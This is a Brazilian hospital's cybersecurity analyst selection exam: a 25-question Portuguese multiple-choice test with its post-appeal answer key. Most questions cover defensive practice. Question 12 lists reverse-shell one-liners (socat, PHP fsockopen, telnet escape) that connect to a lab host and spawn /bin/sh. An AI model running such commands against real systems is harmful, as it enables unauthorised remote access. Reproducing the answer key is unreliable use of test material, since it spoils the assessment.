Publicado em
10/04/2026

HOSPITAL DE CLÍNICAS
PORTO ALEGRE RS

EDITAL Nº 01/2026
DE PROCESSOS SELETIVOS

GABARITO APÓS RECURSO

PROCESSO SELETIVO 01

ANALISTA DE TI I
(Cibersegurança)

01.	B	11.	C	21.	B
02.	B	12.	ANULADA	22.	C
03.	C	13.	C	23.	E
04.	E	14.	D	24.	A
05.	E	15.	C	25.	B
06.	E	16.	B		
07.	B	17.	A		
08.	A	18.	D		
09.	D	19.	E		
10.	D	20.	C		

HOSPITAL DE CLÍNICAS
PORTO ALEGRE RS

CADERNO DE QUESTÕES

EDITAL Nº 01/2026
DE PROCESSOS SELETIVOS (PS)

Cargo de Nível Superior — PS 01

ANLISTA DE TI I
(Cibersegurança)

MATÉRIA	QUESTÕES	PONTUAÇÃO
Conhecimentos Específicos	01 a 25	0,40 cada

ATENÇÃO

Transcreva no espaço apropriado da sua FOLHA DE RESPOSTAS (Folha Óptica), com sua caligrafia usual, considerando as letras maiúsculas e minúsculas, a seguinte frase:

A palavra é prata, o silêncio é ouro.

Nome do Candidato: _____

Inscrição nº: ___ ___ ___ ___ ___ ___ – ___

DIREITOS AUTORAIS RESERVADOS. PROIBIDA A REPRODUÇÃO, AINDA QUE PARCIAL, SEM A PRÉVIA AUTORIZAÇÃO DA FAURGS E DO HCPA.

FAURGS
Fundação de Apoio da Universidade Federal do Rio Grande do Sul

SISTEMA DE GESTÃO DE QUALIDADE
FAURGS SETOR DE CONCURSOS

SISTEMA DE GESTÃO DE SEGURANÇA DA INFORMAÇÃO
FAURGS SETOR DE CONCURSOS

INSTRUÇÕES

FAURGS
Fundação de Apoio da Universidade Federal do Rio Grande do Sul

1. Verifique se este CADERNO DE QUESTÕES corresponde ao Processo Seletivo para o qual você está inscrito. Caso não corresponda, solicite ao Fiscal da sala que o substitua.

2. Esta PROVA consta de **25** (vinte e cinco) questões objetivas.

3. Caso o CADERNO DE QUESTÕES esteja incompleto ou apresente qualquer defeito, solicite ao Fiscal da sala que o substitua.

4. Para cada questão objetiva, existe apenas **uma** (1) alternativa correta, a qual deverá ser assinalada na FOLHA DE RESPOSTAS.

5. O candidato que comparecer para realizar a prova **não deverá, sob pena de ser excluído do certame**, **portar relógios,** armas, malas, livros, máquinas calculadoras, fones de ouvido, gravadores, *pagers*, *notebooks*, **telefones celulares**, *pen drives* ou quaisquer outros tipos de aparelhos eletrônicos, nem utilizar véus, bonés, chapéus, gorros, mantas, lenços, aparelhos/próteses auditivas, óculos escuros, ou qualquer outro adereço que lhes cubra a cabeça, o pescoço, os olhos, os ouvidos ou parte do rosto, **exceto em situações autorizadas pela Comissão do Concurso e/ou em situações determinadas em lei.** (conforme subitem 7.10 do Edital de Abertura)

6. **É de inteira responsabilidade do candidato comparecer ao local de prova munido de caneta esferográfica, preferencialmente de tinta azul, de escrita grossa, para a adequada realização de sua Prova Escrita. Não será permitido o uso de lápis, marca-textos, réguas, lapiseiras/grafites e/ou borrachas durante a realização da prova.** (conforme subitem 7.15.2 do Edital de Abertura)

7. Não será permitida nenhuma espécie de consulta em livros, códigos, revistas, folhetos ou anotações, nem o uso de instrumentos de cálculo ou outros instrumentos eletrônicos, exceto nos casos em que forem pré-estabelecidos no item 13 do Edital. (conforme subitem 7.15.3 do Edital de Abertura)

8. Preencha com cuidado a FOLHA DE RESPOSTAS, evitando rasuras. Eventuais marcas feitas nessa FOLHA a partir do número **26** serão desconsideradas.

9. Ao terminar a prova, entregue a FOLHA DE RESPOSTAS ao Fiscal da sala.

10. A duração da prova é de **duas horas e trinta minutos (2h30min)**, já incluído o tempo destinado ao preenchimento da FOLHA DE RESPOSTAS. Ao final desse prazo, a FOLHA DE RESPOSTAS será **imediatamente** recolhida.

11. **O candidato somente poderá se retirar da sala de prova uma hora (1h) após o seu início. Se quiser levar o Caderno de Questões da Prova Escrita, o candidato somente poderá se retirar da sala de prova uma hora e meia (1h30min) após o início. O candidato não poderá anotar/copiar o gabarito de suas respostas de prova.**

12. **Após concluir a prova e se retirar da sala, o candidato somente poderá utilizar os sanitários nas dependências do local de prova se for autorizado pela Coordenação do Prédio e se estiver acompanhado de um fiscal.** (conforme subitem 7.15.6 do Edital de Abertura)

13. Ao concluir a Prova Escrita, o candidato deverá devolver ao fiscal da sala a Folha de Respostas (Folha Óptica). Se assim não proceder, será excluído do Processo Seletivo. (conforme subitem 7.15.8 do Edital de Abertura)

14. A desobediência a qualquer uma das recomendações constantes nas presentes instruções poderá implicar a anulação da prova do candidato.

HOSPITAL DE CLÍNICAS
PORTO ALEGRE RS

Boa prova!

01. Qual prática, recomendada pelo NIST (*National Institute of Standards and Technology*), aumenta a confiabilidade da avaliação de estratégias de segurança?

(A) Conceder privilégios administrativos a todos os usuários.
(B) Documentar procedimentos de coleta e análise de evidências.
(C) Evitar o uso de logs para não sobrecarregar o sistema.
(D) Realizar auditorias apenas quando ocorrer um ataque confirmado.
(E) Reduzir os treinamentos da equipe para investir em equipamentos modernos.

02. De acordo com o Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil (CERT.br), a notificação de incidentes é importante porque _____, ajuda a _____ e contribui para _____.

Assinale a alternativa que completa, correta e respectivamente, as lacunas do texto acima.

(A) registra estatísticas internas – alertar usuários finais – reduzir custos
(B) melhora a capacidade de detecção – fortalecer a cooperação – a segurança geral da Internet
(C) fornece dados legais – criar novos usuários – aumentar tráfego
(D) substitui monitoramento contínuo – simplificar auditorias – eliminar riscos
(E) apenas cumpre exigências regulatórias – evitar multas – manter conformidade

03. Conforme os guias e documentações do Centro de Estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil (CERT.br), devem ser notificados como incidentes de segurança _____, incluindo _____ e também _____.

Assinale a alternativa que completa, correta e respectivamente, as lacunas do texto acima.

(A) apenas ataques DoS – fraudes financeiras – *spam*
(B) incidentes públicos – dados pessoais – qualquer erro de sistema
(C) eventos adversos – acesso não autorizado – desfiguração de páginas
(D) falhas de *hardware* – lentidão de rede – problemas de impressão
(E) exclusivamente incidentes que afetam órgãos governamentais – bancos – empresas de telecomunicações

04. Em relação à gestão de privilégios em bancos de dados MySQL, assinale a alternativa correta.

(A) Deve-se criar um único usuário ROOT para toda a empresa.
(B) Deve-se centralizar todos os privilégios na aplicação.
(C) Deve-se sempre utilizar privilégios SUPER para evitar falhas.
(D) Deve-se armazenar privilégios em arquivos externos.
(E) Deve-se adotar o princípio do menor privilégio.

05. Considerando o Oracle Database 19c, que oferece um conjunto nativo de proteções para a senha dos usuários, assinale a alternativa que **NÃO** apresenta uma destas proteções.

(A) Criptografia de senhas.
(B) Verificação de complexidade de senha.
(C) Diferenciação entre minúsculas e maiúsculas.
(D) Prevenção de quebra de senhas.
(E) Uso de HASH MD5 para senhas.

06. Considerando um banco de dados Oracle 19c que utilize a tecnologia Multitenant, qual é a função do privilégio SET CONTAINER neste ambiente?

(A) Permitir que um usuário altere a senha de outro.
(B) Conceder acesso a todos os objetos do CDB.
(C) Bloquear o PDB atual para acesso exclusivo.
(D) Criar *roles* automaticamente em todos os *containers*.
(E) Permitir que um usuário comum alterne entre diferentes PDBs.

07. A *Content Security Policy* (CSP) é uma política declarativa de lista de permissão aplicada por meio do cabeçalho de resposta *Content-Security-Policy* ou de um elemento <meta> equivalente. Ela permite que desenvolvedores restrinjam as origens a partir das quais recursos como JavaScript, CSS, imagens, arquivos podem ser carregados. Segundo o OWASP (*Web Security Testing Guide)*, uma política estrita mitiga qual dos ataques abaixo?

(A) Ataques de Injeção SQL Cega (*Blind* SQL *Injection* – SQLi).
(B) Ataques de XSS armazenado, refletido e baseado em DOM (*Cross-Site Scripting* – XSS / DOM-*based*).
(C) Ataques de Força Bruta (*Brute Force* – BF).
(D) Ataques de *Bypass* de Autenticação (*Authentication Bypass – Auth Bypass*).
(E) Ataques de Escalonamento de Privilégios (*Privilege Escalation* – PrivEsc).

08. Conforme a documentação oficial da Fortinet, FortiOS 7.6.5 *Administration Guide*, quando o modo de inspeção de uma política de *firewall* é definido como *proxy*, o tráfego que passa por essa política é bufferizado de maneira completa pelo FortiGate para inspeção. Isso significa que os pacotes de um arquivo, mensagem de e-mail ou página *web* ficam retidos no FortiGate até que todo o conteúdo (*payload*) seja inspecionado em busca de violações, como vírus, spam ou *links web* maliciosos.

Assinale a alternativa que contém o perfil de segurança que depende exclusivamente do modelo de inspeção *proxy*, não sendo suportado quando a inspeção ocorre em modo *flow* (*flow-based*).

(A) *Web Application Firewall*
(B) *Web Filter*
(C) Antivírus
(D) *Application Control*
(E) *Intrusion Prevention System*

09. No que tange à segurança cibernética, os ataques de *ransomware* representam uma ameaça destrutiva que vem crescendo nos ecossistemas de TI, incluindo hospitais. Entre os danos causados pelo *ransomware* estão a criptografia de dados críticos e o comprometimento operacional dos serviços de TI dentro de um hospital.
Fabricantes de Storage corporativo incorporam mecanismos adicionais de segurança para apoiar os times de TI em ações de proteção cibernética.
A Pure Storage, em sua documentação oficial, descreve a funcionalidade SafeMode como um mecanismo de proteção de dados e continuidade operacional. Com base exclusivamente na descrição oficial da tecnologia SafeMode da Pure Storage, assinale a alternativa correta.

(A) Mesmo rodando no sistema operacional do Storage, detecta atividades anormais durante a execução do processo nos servidores, identificando padrões típicos de *ransomware*, como criptografia rápida e massiva de arquivos, mesmo quando o código não possui assinatura conhecida.
(B) Detecta *ransomware* ao inspecionar o tráfego de rede em tempo real, identificando e bloqueando tentativas de exploração de vulnerabilidades, propagação lateral e comunicação com servidores maliciosos antes que o código *ransomware* seja executado nos sistemas internos.
(C) Bloqueia a ação do *ransomware* ao identificar padrões anormais de escrita nos volumes, tentativas de exfiltração de dados e *downloads* de *payloads* maliciosos, bloqueando o ataque antes que ele se propague ou cause impacto ao ambiente.
(D) Os *snapshots* do FlashArray constituem uma segunda linha de defesa ideal contra ataques que criptografam dados críticos. Eles são registros consistentes e imutáveis de dados, criados automaticamente em intervalos regulares.
(E) Detecta o *ransomware* ao analisar continuamente a integridade e o comportamento dos dados no Storage, usando análise avançada e *machine learning* para identificar alterações anormais, corrupção ou criptografia suspeita, alertando precocemente e permitindo resposta rápida antes que o impacto se espalhe.

10. O iptables é um *firewall* que já vem com a maioria das distribuições Linux e permite controlar o tráfego de rede no nível do kernel.

Conforme a documentação da DigitalOcean de regras comuns de *firewall* iptables, considerando que a política padrão da cadeia INPUT é ACCEPT e que se deseja bloquear silenciosamente todas as conexões originadas do endereço IP 1.1.2.2, qual comando deve ser executado?

(A) sudo iptables -A INPUT -s 1.1.2.2 -j BLOCK
(B) sudo iptables -A INPUT -s 1.1.2.2 -j DENY
(C) sudo iptables -A INPUT -s 1.1.2.2 -j REJECT
(D) sudo iptables -A INPUT -s 1.1.2.2 -j DROP
(E) sudo iptables -A INPUT -s 1.1.2.2 -j FILTER

11. Para impedir que o usuário *root* realize *login* direto via serviço SSH em um servidor Linux Ubuntu 24, Noble Numbat, utilizando OpenSSH, conforme as recomendações de *hardening* descritas em https://madaidans-insecurities.github.io, deve-se editar o arquivo /etc/ssh/sshd_config e adicionar qual das linhas abaixo?

(A) DisableRootLogin yes
(B) DenyRootLogin true
(C) PermitRootLogin no
(D) AllowRootLogin false
(E) RootLogin no

12. Considere o seguinte cenário.

Em um ambiente de laboratório, não produtivo, o servidor 1 (ip 1.1.1.1/24), executando como usuário *root*, inicia um processo de escuta TCP com o seguinte comando:

```
# nc -l -p 12345
```

O *netcat* em uso neste cenário não suporta a opção -e, porém tem suporte à execução de programas através de redirecionamento de entrada e saída padrão. O servidor 2 (ip 1.1.1.2/24), que faz parte do mesmo laboratório, possui conectividade direta com o servidor 1, ou seja, não existe *firewall* de rede entre os dois.

Considerando unicamente as técnicas documentadas no projeto GTFOBins (https://gtfobins.github.io/) para obtenção de sessões interativas remotas (*shell* remoto), assinale a alternativa que, quando executada diretamente no servidor 2, estabelece uma sessão remota interativa sobre TCP, compatível com um *shell* interativo no servidor 1, considerando que os dois servidores têm todos os pacotes necessários relativos às alternativas.

(A)
```
RHOST=1.1.1.1
RPORT=12345
socat tcp-connect:$RHOST:$RPORT exec:/bin/sh,tty,stderr,setsid,sigint,sane
```

(B)
```
export RHOST=1.1.1.1
export RPORT=12345
php -r '$sock=fsockopen(getenv("RHOST"),getenv("RPORT"));exec("/bin/sh -i <&4 >&4 2>&4");'
```

(C)
```
RHOST=1.1.1.1
RPORT=12345
nc -i /bin/sh $RHOST $RPORT
```

(D)
```
RHOST=1.1.1.1
RPORT=12345
sudo telnet $RHOST $RPORT
^]
!exec /bin/sh
```

(E)
```
RHOST=1.1.1.1
RPORT=12345
socket -qvp '/bin/sh -i' $RHOST $RPORT
```

13. O modo Rootless permite executar o daemon e os contêineres do Docker como um usuário sem privilégios de *root*, _____ possíveis vulnerabilidades _____ e no ambiente de execução _____.

Assinale a alternativa que completa, correta e respectivamente, as lacunas do texto acima.

(A) mitigando – no contêiner – do daemon
(B) eliminando – no kernel – do contêiner
(C) mitigando – no daemon – do contêiner
(D) eliminando – no daemon – do kernel
(E) mitigando – no kernel – do daemon

14. O mecanismo de controle de acesso baseado em funções (_____) integrado do Kubernetes pode ser usado para _____ para cada conta de serviço. Você cria uma função, que concede acesso, e então vincula essa função à sua _____.

Assinale a alternativa que completa, correta e respectivamente, as lacunas do texto acima.

(A) RBAC – conceder as permissões mínimas necessárias – RoleBinding
(B) CABF – revogar as permissões concedidas – RoleBinding
(C) KACL – conceder as permissões mínimas necessárias – ServiceAccount
(D) RBAC – conceder as permissões mínimas necessárias – ServiceAccount
(E) KACL – revogar as permissões concedidas – ServiceAccount

15. Dentre os diferentes tipos de *secret engines* implementados pelo Vault, para qual deles o Vault External Secrets Operator oferece suporte?

(A) Kubernetes
(B) Transit
(C) KV
(D) TOTP
(E) LDAP

16. External Secrets Operator integra com

(A) Hashcorp Terraform para fins de gerenciamento de infraestrutura.
(B) Hashcorp Vault para fins de gerenciamento de *secrets*.
(C) Vault para fins de auditoria de dados.
(D) Hashcorp Terraform para fins de gerenciamento de *secrets*.
(E) Ansible para fins de gerenciamento de *secrets*.

17. Qual diretiva Ansible permite ativar o escalonamento de privilégios diretamente em uma tarefa de *playbook*?

(A) become
(B) become_user
(C) become_flags
(D) become_method
(E) become_sudo

18. Considere as seguintes ações de segurança.

I - Configurar os aplicativos do contêiner para serem executados como usuários sem privilégios.
II - Executar os aplicativos do contêiner como um usuário que seja membro do grupo Docker.
III- Remapear o usuário *root* para um usuário com menos privilégios no *host* Docker.

Quais são consideradas maneiras de prevenir ataques de escalonamento de privilégios dentro de um contêiner?

(A) Apenas I.
(B) Apenas II.
(C) Apenas III.
(D) Apenas I e III.
(E) I, II e III.

19. Sobre recursos de segurança do NSX Manager, é correto afirmar que, dentre outros,

(A) o NSX Manager suporta tempo limite de sessão, mas não suporta *logoff* de usuário e nem bloqueio de sessão.
(B) o NSX Manager suporta tempo limite de sessão, *logoff* de usuário e bloqueio de sessão.
(C) o NSX Manager não suporta tempo limite de sessão e nem *logoff* de usuário, mas suporta bloqueio de sessão.
(D) o NSX Manager suporta tempo limite de sessão, não suporta *logoff* de usuários, mas suporta o bloqueio de sessão.
(E) o NSX Manager suporta tempo limite de sessão, *logoff* de usuário, mas não suporta o bloqueio de sessão.

20. Quando um tenant cria VMs protegidas que são executadas em uma infraestrutura protegida, os *hosts* Hyper-V e as próprias VMs protegidas são protegidos pelo HGS. Quais são os serviços providos pelo HGS, para proteger os *hosts* Hyper-V e shielded VMs?

(A) Serviços de AD e VPNs seguras.
(B) Serviço de *firewall* e VPNs seguras.
(C) Serviço de atestação e proteção de chaves.
(D) Serviço de compartilhamento de arquivos seguros e *firewall*.
(E) Serviço de criptografia e transferência segura de arquivos.

21. Um *baseline* de segurança é um conjunto de configurações recomendadas pela Microsoft. Essas configurações são baseadas no *feedback* das equipes de engenharia de segurança da Microsoft, grupos de produtos, parceiros e clientes. Considerando os princípios de *baseline*, conforme abordagem da Microsoft, qual das opções está correta?

(A) Os *baselines* de segurança são projetados para organizações bem administradas e preocupadas com a segurança, nas quais os usuários finais padrão possuem direitos administrativos.
(B) Os *baselines* de segurança são projetados para organizações bem administradas e preocupadas com a segurança, nas quais os usuários finais padrão não possuem direitos administrativos.
(C) Um *baseline* de segurança só é aplicado se mitigar uma ameaça de segurança futura e causar problemas operacionais piores do que os riscos que mitiga.
(D) Um *baseline* de segurança só é aplicado se mitigar uma ameaça de segurança futura independente de problemas operacionais que possam ocorrer.
(E) Um *baseline* de segurança só é imposto se, de outra forma, for provável que um usuário autorizado a defina como segura.

22. Conforme a RFC 8446, o objetivo principal do TLS é fornecer um canal seguro entre dois pares que se comunicam, e o único requisito do transporte subjacente é um fluxo de dados confiável e ordenado.

Assinale a alternativa que possui as propriedades de segurança corretas do protocolo TLS.

(A) Autenticação, confidencialidade e disponibilidade.
(B) Autenticação, integridade e disponibilidade.
(C) Autenticação, confidencialidade e integridade.
(D) Somente autenticação e confidencialidade
(E) Somente confidencialidade e integridade.

23. Ainda conforme a RFC 8446, o protocolo de *handshake* é usado para

(A) negociar os parâmetros de transmissão de dados dos meios físicos.
(B) rotear e endereçar os pacotes de dados pela Internet.
(C) proteger as comunicações IP.
(D) trocar informações de roteamento entre os sistemas autônomos (ASs).
(E) negociar os parâmetros de segurança de uma conexão.

24. Reforçar a autenticação ajuda a proteger suas contas e dispositivos contra invasões e a minimizar o impacto do vazamento de senhas. Atacantes se aproveitam de dados obtidos via vazamentos ou *malware* para tentar invadir contas e dispositivos e, então, coletar mais dados ou usá-los para aplicar golpes. Segundo a Cartilha de Segurança para Internet, qual das seguintes recomendações está **INCORRETA**?

(A) Ative a verificação em duas etapas apenas nas contas mais importantes.
(B) Crie senhas fortes, difíceis de adivinhar, e não as repita.
(C) Configure seus dispositivos para exigir autenticação na tela inicial.
(D) Troque imediatamente suas senhas se desconfiar que vazaram ou foram usadas em um dispositivo infectado.
(E) Habilite notificações de *login* sempre que possível.

25. _____ é uma poderosa solução de Gerenciamento de Informações e Eventos de Segurança (SIEM) e plataforma de análise de *logs* que _____, protege e monitora dados gerados por máquinas em diversas fontes. Seja para cibersegurança, operações de TI ou conformidade, capacita as equipes com *insights* acionáveis por meio de recursos de busca rápida, _____ e visualização.

Assinale a alternativa que completa, correta e respectivamente, as lacunas do texto acima.

(A) Graylog – centraliza – detecção
(B) Graylog – centraliza – alertas
(C) Zabbix – descentraliza – detecção
(D) Graylog – descentraliza – alertas
(E) Zabbix – centraliza – detecção